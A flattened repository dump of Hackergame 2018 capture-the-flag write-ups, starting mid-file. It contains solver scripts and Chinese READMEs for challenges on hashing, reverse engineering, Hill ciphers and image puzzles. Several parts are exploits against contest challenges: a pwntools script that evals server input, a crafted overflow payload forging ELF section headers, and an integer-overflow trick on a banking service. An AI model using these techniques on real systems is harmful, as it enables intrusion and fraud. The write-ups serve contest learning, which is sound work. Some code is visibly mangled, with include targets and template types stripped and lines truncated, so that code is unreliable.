base64.b64encode(nonce1).decode(), 66 | "nonce2": base64.b64encode(nonce2).decode(), } 67 | req = session.post("http://202.38.95.46:12006/submitjob", data=data) 68 | print(req.json()) 69 | break 70 | elif line.startswith("MSG1"): 71 | prev_lines[0] = line.split()[-1] 72 | elif line.startswith("MSG2"): 73 | prev_lines[1] = line.split()[-1] 74 | -------------------------------------------------------------------------------- /players/cvhc/mining_pool_of_Z/sha256-blockchain/bitcoin-block-parser-online.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | import struct 5 | import hashlib 6 | import os 7 | import time 8 | 9 | API_BASE = "https://blockexplorer.com/api/" 10 | BLOCK_START = "000000000000000000108f8529505b52c37af60b7b378ea0e622172e1f149a40" 11 | DB_FILE = "blockchain.db" 12 | 13 | def yield_block(start): 14 | block = start 15 | timeout = 1 16 | 17 | while True: 18 | print("Parsing block", block) 19 | 20 | try: 21 | req = requests.get(API_BASE + "block/" + block) 22 | except requests.exceptions.ConnectionError: 23 | failed = True 24 | else: 25 | failed = False 26 | 27 | if failed or req.status_code != requests.codes.ok: 28 | print("Failed! Retry after %d seconds" % timeout) 29 | time.sleep(timeout) 30 | timeout *= 2 31 | continue 32 | 33 | info = req.json() 34 | header = struct.pack(" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | int char2idx(char c) { 12 | if (std::isdigit(c)) 13 | return c - '0'; 14 | else if (std::isupper(c)) 15 | return c - 'A' + 10; 16 | else if (std::islower(c)) 17 | return c - 'a' + 36; 18 | else 19 | return -1; 20 | } 21 | 22 | void printBuffer(FILE *fout, const void *buf, size_t bytes) { 23 | const uint8_t *ptr = (uint8_t*)buf; 24 | for (size_t i=0; i> source[62]; 30 | std::vector> sha256[62]; 31 | char buf[64]; 32 | std::ifstream fin("blockchain.db", std::ios::binary); 33 | 34 | while (fin.read(buf, sizeof(buf))) { 35 | char suffix = buf[31]; 36 | int idx = char2idx(suffix); 37 | 38 | if (idx < 0) 39 | continue; 40 | 41 | source[idx].push_back(std::array()); 42 | std::copy_n(std::begin(buf), 32, 43 | std::begin(source[idx].back())); 44 | sha256[idx].push_back(std::array()); 45 | std::copy_n(std::begin(buf) + 32, 32, 46 | std::begin(sha256[idx].back())); 47 | } 48 | 49 | int maxdiff = 0; 50 | for (int i=0; i<62; i++) { 51 | int num = source[i].size(); 52 | 53 | for (int j=0; j= maxdiff) { 64 | maxdiff = diff; 65 | 66 | std::cout << "New record! DIFF = " << (int)maxdiff << std::endl; 67 | std::cout << " MSG1: "; 68 | printBuffer(stdout, source[i][j].data(), 32); 69 | std::cout << std::endl; 70 | std::cout << "HASH1: "; 71 | printBuffer(stdout, p1, 32); 72 | std::cout << std::endl; 73 | 74 | std::cout << " MSG2: "; 75 | printBuffer(stdout, source[i][k].data(), 32); 76 | std::cout << std::endl; 77 | std::cout << "HASH2: "; 78 | printBuffer(stdout, p2, 32); 79 | std::cout << std::endl; 80 | } 81 | } 82 | } 83 | } 84 | 85 | return 0; 86 | } 87 | -------------------------------------------------------------------------------- /players/cvhc/mining_pool_of_Z/sha256-blockchain/show-block-db.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | import struct 5 | import hashlib 6 | import os 7 | import time 8 | import hashlib 9 | 10 | DB_FILE = "blockchain.db" 11 | with open("blockchain.db", "rb") as f: 12 | while True: 13 | data = f.read(64) 14 | 15 | if len(data) == 0: 16 | break 17 | elif len(data) != 64: 18 | raise Exception("Bad file!") 19 | 20 | header_hash = data[:32] 21 | block_hash = data[32:] 22 | validate_block_hash = hashlib.sha256(header_hash).digest() 23 | print("%s -> %s" % (header_hash.hex(), block_hash.hex())) 24 | if validate_block_hash != block_hash: 25 | raise Exception("Bad file!") 26 | -------------------------------------------------------------------------------- /players/fatykrch/Malbolge/233.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/Malbolge/233.jpg -------------------------------------------------------------------------------- /players/fatykrch/Malbolge/README.md: -------------------------------------------------------------------------------- 1 | ### 秘籍残篇 2 | 3 | #### 滑稽Art 4 | 5 | 下载文件之后用Notepad++缩放发现像是有规律的图像即将出现一样,但是Notepad++能缩小的比例不够。最终还是选用PIL画图查看: 6 | 7 | 8 | from PIL import Image 9 | 10 | data = open('malbolge.txt', 'rb').read() 11 | # print len(data) 12 | # 2^2 * 139 * 277 13 | width = 277 14 | height = 4*139 15 | image = Image.new('RGB', (width+1, height+1), (255, 255, 255)) 16 | for i in xrange(width*height): 17 | if(data[i] == ' '): 18 | image.putpixel((width-i/height, i%height), (255, 255, 255)) 19 | else: 20 | image.putpixel((width-i/height, i%height), (0, 0, 0)) 21 | image.save("233.jpg") 22 | 23 | 就有: 24 | 25 | ![a](233.jpg) 26 | 27 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/Malbolge/draw_malbolge.py: -------------------------------------------------------------------------------- 1 | 2 | from PIL import Image 3 | 4 | data = open('malbolge.txt', 'rb').read() 5 | # print len(data) 6 | # 2^2 * 139 * 277 7 | width = 277 8 | height = 4*139 9 | image = Image.new('RGB', (width+1, height+1), (255, 255, 255)) 10 | for i in xrange(width*height): 11 | if(data[i] == ' '): 12 | image.putpixel((width-i/height, i%height), (255, 255, 255)) 13 | else: 14 | image.putpixel((width-i/height, i%height), (0, 0, 0)) 15 | image.save("233.jpg") -------------------------------------------------------------------------------- /players/fatykrch/README.md: -------------------------------------------------------------------------------- 1 | ## hackergame2018-writeup 2 | 3 | * [猫咪和键盘](typed_printf/) 4 | * [猫咪银行](bank/) 5 | * [秘籍残篇(滑稽Art)](Malbolge/) 6 | * [猫咪遥控器](seq/) 7 | * [猫咪克星](snake/) 8 | * [加密算法和解密算法](enc_and_dec/) 9 | * [她的礼物](gift/) 10 | * [困惑的flxg小程序](confused_flxg/) 11 | * [CWK的试练](trail/) 12 | * [一些宇宙真理](vkandproofs/) 13 | * [对抗深渊](adversarial/) -------------------------------------------------------------------------------- /players/fatykrch/adversarial/README.md: -------------------------------------------------------------------------------- 1 | ### 对抗深渊 2 | 3 | 由于之前有看过论文`Towards Evaluating the Robustness of Neural Networks`,以及在tensorflow框架下做过对抗样本生成的实验 [论文作者的代码](https://github.com/carlini/nn_robust_attacks) 4 | 这里尝试在pytorch上重现一下,但是不太懂pytorch的语法,也没有去看它的例子,最终写成了这个鬼样子(见[adversarial.py](adversarial.py)),比出题人的解法写的长了好多2333 5 | 6 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/adversarial/model.pth: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/adversarial/model.pth -------------------------------------------------------------------------------- /players/fatykrch/adversarial/sample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/adversarial/sample.png -------------------------------------------------------------------------------- /players/fatykrch/adversarial/target.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/adversarial/target.png -------------------------------------------------------------------------------- /players/fatykrch/bank/README.md: -------------------------------------------------------------------------------- 1 | ### 猫咪银行 2 | 3 | 遇到这种买卖的web题一开始想到的是竞争,但随便点几下后发现有时间限制; 4 | 然后测试理财产品买入功能容易发现买入分钟数过大时,取出时间和利息都会变的奇怪; 5 | 输入0xffffffff以及0xffffffffffffffff测试了下溢出临界,前者正常后者异常,可能是是8字节存储; 6 | 于是尝试计算 0xffffffffffffffff/60、0x7fffffffffffffff/60等容易引起恰好溢出的分钟数,在输入买入分钟0x7fffffffffffffff/60(153722867280912930)后则可以立即取出一笔巨款并购买flag。 7 | 8 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/confused_flxg/README.md: -------------------------------------------------------------------------------- 1 | ### 困惑的flxg小程序 2 | 3 | 用ida打开后,打开字符串列表,并查找对正确提示信息"祝贺你,你输入的flxg是正确的!"的引用,可以找到关键函数sub_14000498F;分析可知该函数先从1400054D8处取出56个字节,并将输入的字符串做base64编码然后倒转,之后倒转后的每个字节再和下标异或去和1400054D8处取出的56个字节作对比;于是反过来先将1400054D8处的56个字节每个字节和下标异或再倒转再base64解码就可以得到flag。 4 | 5 | import base64 6 | 7 | a='39654554775F345F645F66683C3458557F43214B7F2043765F204C4D7A53707D564D65474C5D7143186F474842181C4D74450169004D5B6D'.decode('hex') 8 | 9 | b = '' 10 | i = 0 11 | for c in a: 12 | b += chr(i ^ ord(c)) 13 | i += 1 14 | b = b[::-1] 15 | print b 16 | print base64.b64decode(b) 17 | # flxg{Congratulations_U_FiNd_the_trUe_flXg} 18 | 19 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/confused_flxg/confused_flxg.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/confused_flxg/confused_flxg.exe -------------------------------------------------------------------------------- /players/fatykrch/confused_flxg/confused_flxg.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | a='39654554775F345F645F66683C3458557F43214B7F2043765F204C4D7A53707D564D65474C5D7143186F474842181C4D74450169004D5B6D'.decode('hex') 4 | 5 | b = '' 6 | i = 0 7 | for c in a: 8 | b += chr(i ^ ord(c)) 9 | i += 1 10 | b = b[::-1] 11 | print b 12 | print base64.b64decode(b) 13 | # flxg{Congratulations_U_FiNd_the_trUe_flXg} -------------------------------------------------------------------------------- /players/fatykrch/enc_and_dec/README.md: -------------------------------------------------------------------------------- 1 | ### 加密算法和解密算法 2 | 3 | 做题时并没有发现有SymPy这种好东西,在分析出加密矩阵后手写了在模空间求矩阵的逆的函数,而且还贼慢,跑了一段时间才出来结果。。 4 | 5 | import numpy as np 6 | from libnum import invmod 7 | 8 | enc_mart = np.matrix(np.array([[23, 46, 21, 16, 35, 17, 34, 19, 12, 38],[5, 3, 16, 27, 22, 0, 15, 38, 55, 14],[40, 40, 63, 5, 2, 51, 10, 52, 41, 43],[61, 54, 33, 53, 43, 46, 52, 8, 4, 59],[47, 31, 60, 37, 4, 37, 27, 49, 39, 55],[21, 23, 26, 17, 36, 44, 19, 7, 62, 10],[62, 54, 39, 24, 3, 11, 38, 36, 48, 50],[9, 11, 32, 61, 22, 13, 15, 40, 1, 18],[18, 0, 48, 23, 58, 7, 30, 60, 21, 36],[17, 5, 39, 50, 37, 18, 4, 45, 2, 13]])).T 9 | 10 | def mod_det(mat, m): 11 | y = len(mat) 12 | x = len(mat[0]) 13 | ret = 0L 14 | # print x, y 15 | if(x == 1): 16 | return int(mat[0][0])%m 17 | if(x == 2): 18 | return int(mat[0][0]*mat[1][1] - mat[0][1]*mat[1][0])%m 19 | if(x == y): 20 | for i in range(x): 21 | tmp_mat = np.delete(mat, 0, 0) 22 | tmp_mat = np.delete(tmp_mat, i, 1) 23 | ret += ((-1)**i)*mat[0][i]*mod_det(tmp_mat, m) 24 | ret %= m 25 | return ret 26 | def mod_inv(mat, m): 27 | y = len(mat) 28 | x = len(mat[0]) 29 | ret = np.zeros((y,x)).astype(int) 30 | mat_val = mod_det(mat, m) 31 | inv_val = invmod(mat_val, m) 32 | for i in range(x): 33 | for j in range(y): 34 | tmp_mat = np.delete(mat, j, 0) 35 | tmp_mat = np.delete(tmp_mat, i, 1) 36 | ret[j][i] = (-1**(i+j))*(mod_det(tmp_mat, m)*inv_val)%m 37 | if(ret[j][i] < 0): 38 | ret[j][i] += m 39 | print i, j 40 | return ret 41 | 42 | dec_mart = np.matrix(mod_inv(np.array(enc_mart), 64)) 43 | 44 | base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" 45 | pwd = ['JzRVPiVpqo','4iDM8celyu','eIs4ff4DKe','G3EMKihzuH'] 46 | last = [2, 6, 8, 8, 3, 5, 5, 7, 4, 9] 47 | flag = '' 48 | for w in pwd: 49 | out = [] 50 | for c in w: 51 | out.append(base64chars.index(c)) 52 | for i in range(10): 53 | out[i] -= last[i] 54 | if(out[i] < 0): 55 | out[i] += 64 56 | inp = np.array((dec_mart*np.matrix(np.array(out)).T).T%64)[0] 57 | for i in range(10): 58 | flag += base64chars[int(inp[i])] 59 | print flag 60 | # h1ll-c1ph3r-w1th-10x10-r3v3rs1bl3-matr1x 61 | 62 | 从分析encrypt.bf开始的代码详见dec.py。 63 | 64 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/enc_and_dec/br.bf: -------------------------------------------------------------------------------- 1 | /* author: @ustc_zzzz */ call(`, 2 | [->>+7>>+5>>+3>>+2>>+4>+6<<+3<<+9<<+8<<+6<<+8<]> 3 | [->>+5>>+9>>+9>>+2>>+4<+9<<+4<<+4<<+2<<+2<]<, 4 | [->>+5>>+8>>+6>>+7>>+7>+6<<+6<<+8<<+3<<+3<<+8<]> 5 | [->>+8>>+3>>+7>>+4>>+9<+6<<+9<<+2<<+9<<+8<]<, 6 | [->>+8>>+7>>+2>>+2>>+9>+3<<+4<<+3<<+5<<+8<<+8<]> 7 | [->>+4>>+8>>+6>>+6>>+5<+4<<+9<<+8<<+7<<+4<]<, 8 | [->>+5>>+9>>+3>>+4>>+4>+3<<+8<<+6<<+5<<+6<<+8<]> 9 | [->>+6>>+6>>+5>>+8>>+7<+8<<+6<<+5<<+3<<+7<]<, 10 | [->>+7>>+4>>+4>>+3>>+7>+7<<+9<<+5<<+5<<+7<<+8<]> 11 | [->>+3>>+4>>+4>>+5>>+6<+4<<+3<<+8<<+7<<+5<]<, 12 | [->>+5>>+2>>+4>>+3>>+6>+2<<+7<<+4<<+9<<+7<<+8<]> 13 | [->>+2>>+9>>+5>>+8>>+9<+7<<+2<<+4<<+3<<+2<]<, 14 | [->>+6>>+7>>+3>>+6>>+8>+2<<+4<<+3<<+8<<+6<<+8<]> 15 | [->>+6>>+2>>+9>>+4>>+6<+5<<+4<<+8<<+4<<+7<]<, 16 | [->>+9>>+8>>+6>>+7>>+9>+2<<+8<<+5<<+5<<+3<<+8<]> 17 | [->>+9>>+7>>+9>>+4>>+2<+7<<+9<<+2<<+3<<+8<]<, 18 | [->>+2>>+8>>+2>>+6>>+5>+4<<+4<<+7<<+7<<+8<<+8<]> 19 | [->>+7>>+2>>+8>>+7>>+4<+2<<+3<<+7<<+5<<+2<]<, 20 | [->>+9>>+7>>+5>>+4>>+2>+5<<+5<<+2<<+2<<+5<<+8<]> 21 | [->>+8>>+6>>+2>>+5>>+9<+8<<+8<<+4<<+4<<+9<]> 22 | +2.>+6.>+8.>+8.>+3.>+5.>+5.>+7.>+4.>+9.`) -------------------------------------------------------------------------------- /players/fatykrch/enc_and_dec/encrypt.bf: -------------------------------------------------------------------------------- 1 | /* author: @ustc_zzzz */ call(`,[->>+++++++>>+++++>>+++>>++>>++++>++++++<<+++<<+++++++++<<++++++++<< 2 | ++++++<<++++++++<]>[->>+++++>>+++++++++>>+++++++++>>++>>++++<+++++++++<<++++<<++++<<++<<++<]<,[->>++ 3 | +++>>++++++++>>++++++>>+++++++>>+++++++>++++++<<++++++<<++++++++<<+++<<+++<<++++++++<]>[->>++++++++> 4 | >+++>>+++++++>>++++>>+++++++++<++++++<<+++++++++<<++<<+++++++++<<++++++++<]<,[->>++++++++>>+++++++>> 5 | ++>>++>>+++++++++>+++<<++++<<+++<<+++++<<++++++++<<++++++++<]>[->>++++>>++++++++>>++++++>>++++++>>++ 6 | +++<++++<<+++++++++<<++++++++<<+++++++<<++++<]<,[->>+++++>>+++++++++>>+++>>++++>>++++>+++<<++++++++< 7 | <++++++<<+++++<<++++++<<++++++++<]>[->>++++++>>++++++>>+++++>>++++++++>>+++++++<++++++++<<++++++<<++ 8 | +++<<+++<<+++++++<]<,[->>+++++++>>++++>>++++>>+++>>+++++++>+++++++<<+++++++++<<+++++<<+++++<<+++++++ 9 | <<++++++++<]>[->>+++>>++++>>++++>>+++++>>++++++<++++<<+++<<++++++++<<+++++++<<+++++<]<,[->>+++++>>++ 10 | >>++++>>+++>>++++++>++<<+++++++<<++++<<+++++++++<<+++++++<<++++++++<]>[->>++>>+++++++++>>+++++>>++++ 11 | ++++>>+++++++++<+++++++<<++<<++++<<+++<<++<]<,[->>++++++>>+++++++>>+++>>++++++>>++++++++>++<<++++<<+ 12 | ++<<++++++++<<++++++<<++++++++<]>[->>++++++>>++>>+++++++++>>++++>>++++++<+++++<<++++<<++++++++<<++++ 13 | <<+++++++<]<,[->>+++++++++>>++++++++>>++++++>>+++++++>>+++++++++>++<<++++++++<<+++++<<+++++<<+++<<++ 14 | ++++++<]>[->>+++++++++>>+++++++>>+++++++++>>++++>>++<+++++++<<+++++++++<<++<<+++<<++++++++<]<,[->>++ 15 | >>++++++++>>++>>++++++>>+++++>++++<<++++<<+++++++<<+++++++<<++++++++<<++++++++<]>[->>+++++++>>++>>++ 16 | ++++++>>+++++++>>++++<++<<+++<<+++++++<<+++++<<++<]<,[->>+++++++++>>+++++++>>+++++>>++++>>++>+++++<< 17 | +++++<<++<<++<<+++++<<++++++++<]>[->>++++++++>>++++++>>++>>+++++>>+++++++++<++++++++<<++++++++<<++++ 18 | <<++++<<+++++++++<]>++.>++++++.>++++++++.>++++++++.>+++.>+++++.>+++++.>+++++++.>++++.>+++++++++.`) -------------------------------------------------------------------------------- /players/fatykrch/gift/README.md: -------------------------------------------------------------------------------- 1 | ### 她的礼物 2 | 3 | 一开始看到说这个程序不能运行太长时间时,以为是要调整循环的次数让它循环次数小一点,结果想多了。。 4 | 5 | 需要patch掉system,alarm,sleep,以及循环中的puts函数,patch完后运行`./gift "However, someday, someone will find it."`等待一段时间即可; 6 | 本目录下给出了patch后的gift文件。 7 | 8 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/gift/gift: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/gift/gift -------------------------------------------------------------------------------- /players/fatykrch/seq/README.md: -------------------------------------------------------------------------------- 1 | ### 猫咪遥控器 2 | 3 | 看完题目描述之后再看文件里那些UDLR,果然还是要画图: 4 | 5 | from PIL import Image 6 | seq = open('seq.txt', 'rb').read() 7 | 8 | width = 800 9 | height = 300 10 | pos = [100, 100] 11 | image = Image.new('RGB', (width, height), (255, 255, 255)) 12 | 13 | for c in seq: 14 | image.putpixel((pos[0], pos[1]), (0, 0, 0)) 15 | if(c == 'D'): 16 | pos[1] += 1 17 | if(c == 'U'): 18 | pos[1] -= 1 19 | if(c == 'L'): 20 | pos[0] -= 1 21 | if(c == 'R'): 22 | pos[0] += 1 23 | 24 | image.save("seq.jpg") 25 | 26 | 画图结果: 27 | 28 | ![Meow~](seq.jpg) 29 | 30 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/seq/seq.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/seq/seq.jpg -------------------------------------------------------------------------------- /players/fatykrch/seq/seq.py: -------------------------------------------------------------------------------- 1 | 2 | from PIL import Image 3 | seq = open('seq.txt', 'rb').read() 4 | 5 | width = 800 6 | height = 300 7 | pos = [100, 100] 8 | image = Image.new('RGB', (width, height), (255, 255, 255)) 9 | 10 | for c in seq: 11 | image.putpixel((pos[0], pos[1]), (0, 0, 0)) 12 | if(c == 'D'): 13 | pos[1] += 1 14 | if(c == 'U'): 15 | pos[1] -= 1 16 | if(c == 'L'): 17 | pos[0] -= 1 18 | if(c == 'R'): 19 | pos[0] += 1 20 | 21 | image.save("seq.jpg") -------------------------------------------------------------------------------- /players/fatykrch/seq/seq.txt: -------------------------------------------------------------------------------- 1 | DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRLLLLLLLLLLLLLLLLLLLLLLLLRRRRDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUULLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRLLLLDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLLLUUUUUUUUUUUUUUUURRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRRRRRLLLLDDDDDDDDRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUURRRRRRRRRRRRRRRRRRRRRRRRLLLLDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRRRRRRRRRLLLLUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUURRRRRRRRLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDLLLLLLLLDDDDRRRRRRRRDDDDDDDDDDDDDDDDDDDDDDDDRRRRRRRRLLLLLLLLUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLUUUURRRRRRRRUUUURRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUURRRRDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUURRRRRRRRUUUUUUUURRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRRRRRRUUUURRRRUUUURRRRRRRRRRRRRRRRDDDDRRRRDDDDRRRRDDDDDDDDLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLUUUURRRRUUUUDDDDLLLLDDDDDDDDRRRRDDDDRRRRDDDDRRRRRRRRRRRRUUUURRRRRRRRUUUUDDDDLLLLLLLLDDDDLLLLLLLLLLLLUUUULLLLUUUULLLLUUUUUUUURRRRUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUURRRRRRRRUUUULLLLUUUUDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDDDDDRRRRUUUUUUUUUUUURRRRUUUUUUUUDDDDDDDDRRRRDDDDDDDDDDDDRRRRUUUUUUUUUUUUUUUUUUUURRRRUUUURRRRUUUUDDDDLLLLDDDDRRRRRRRRRRRRUUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUURRRRDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUURRRRUUUURRRRUUUURRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUDDDDUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRLLLLLLLLLLLLLLLLUUUULLLLUUUULLLLLLLLDDDDLLLLDDDDLLLLDDDDDDDDDDDDRRRRDDDDRRRRDDDDRRRRRRRRUUUURRRRRRRRUUUUDDDDLLLLLLLLDDDDLLLLLLLLUUUULLLLUUUULLLLUUUUUUUURRRRRRRRRRRRRRRRRRRRRRRRUUUULLLLUUUUDDDDRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLDDDDDDDDUUUUUUUURRRRRRRRRRRRRRRRRRRRDDDDRRRRRRRRRRRRUUUULLLLUUUUDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDDDDDRRRRUUUUUUUUUUUUUUUURRRRUUUUUUUUDDDDDDDDRRRRDDDDDDDDDDDDDDDDRRRRRRRRUUUUUUUUUUUUUUUURRRRUUUUUUUURRRRUUUUDDDDLLLLDDDDRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUULLLLLLLLRRRRRRRRDDDDDDDDDDDDDDDDDDDDRRRRRRRRDDDDLLLLLLLLDDDDDDDDDDDDDDDDDDDDLLLLLLLL 2 | -------------------------------------------------------------------------------- /players/fatykrch/snake/README.md: -------------------------------------------------------------------------------- 1 | ### 猫咪克星 2 | 3 | 利用python的特性可以直接把敏感的函数替换掉,脚本如下: 4 | 5 | 6 | from pwn import * 7 | connectstr = "202.38.95.46 12009" 8 | 9 | connectstr = connectstr.split(' ') 10 | p = remote(connectstr[0], connectstr[1]) 11 | 12 | def ret_1(): 13 | return 1 14 | def ret_0(): 15 | return 0 16 | def ret_1_arg(arg): 17 | return 1 18 | def ret_0_arg(arg): 19 | return 0 20 | 21 | exit = ret_0 22 | __import__('time').sleep = ret_0_arg 23 | __import__('os').system = ret_0_arg 24 | 25 | p.recvline() 26 | while(1): 27 | exp = p.recvline() 28 | print exp 29 | p.send(str(eval(exp.replace('print', 'ret_0_arg')))+'\n') 30 | 31 | 32 | 33 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/snake/snake.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | connectstr = "202.38.95.46 12009" 3 | 4 | connectstr = connectstr.split(' ') 5 | p = remote(connectstr[0], connectstr[1]) 6 | 7 | def ret_1(): 8 | return 1 9 | def ret_0(): 10 | return 0 11 | def ret_1_arg(arg): 12 | return 1 13 | def ret_0_arg(arg): 14 | return 0 15 | 16 | exit = ret_0 17 | __import__('time').sleep = ret_0_arg 18 | __import__('os').system = ret_0_arg 19 | 20 | p.recvline() 21 | while(1): 22 | exp = p.recvline() 23 | print exp 24 | p.send(str(eval(exp.replace('print', 'ret_0_arg')))+'\n') -------------------------------------------------------------------------------- /players/fatykrch/trail/extract_trial.py: -------------------------------------------------------------------------------- 1 | 2 | from hexdump import hexdump 3 | from PIL import Image 4 | # data = open('emm', 'rb').read() 5 | base64chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/' 6 | trial = Image.open("trial.webp") 7 | trial.save("trial.png") 8 | print trial.size 9 | 10 | t = Image.open("trial2.png") 11 | white = (255,255,255) 12 | data = '' 13 | 14 | bit = 0 15 | a = 0 16 | for j in range(629): 17 | for i in range(642): 18 | pixel = t.getpixel((i, j)) 19 | if(pixel != white and pixel[0]^pixel[2]): 20 | a *= 2 21 | a += pixel[1]&1 22 | bit += 1 23 | if(bit == 8): 24 | data += chr(a) 25 | a = 0 26 | bit = 0 27 | open("trialdata", 'wb').write(data) -------------------------------------------------------------------------------- /players/fatykrch/trail/remote.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | 3 | import socks, socket 4 | from Crypto.Cipher import AES 5 | def aes_encrypt(data, key, iv): 6 | cryptor = AES.new(key, AES.MODE_CBC, iv) 7 | return cryptor.encrypt(data) 8 | def aes_decrypt(data, key, iv): 9 | cryptor = AES.new(key, AES.MODE_CBC, iv) 10 | return cryptor.decrypt(data) 11 | 12 | aes_iv = 'some_rand_aes_iv' 13 | aes_key = 'the_rand_aes_key' 14 | valid_data = aes_iv+'\xAAroot\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xAA' 15 | #405100: input 4051C0: aes_ctx 4051F8: ELF64 Section Header 16 | payload = '736F6D655F72616E645F6165735F697694700B62136861C49907F0C9319FC3EBE83336532C56A1CC0887A9E7EAE8DCBA8CA2E468495C91F2618D9F83F6E1FDC1'.decode('hex')#aes_iv+aes_encrypt(valid_data+some_enc(valid_data), aes_key, aes_iv) 17 | payload += (0x405238-0x405100-len(payload))*'\x00' 18 | payload += '\x0b\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa8\x02\x40\x00\x00\x00\x00\x00\xa8\x02\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 19 | payload += '\x13\x00\x00\x00\x07\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x02\x40\x00\x00\x00\x00\x00\xc4\x02\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 20 | payload += 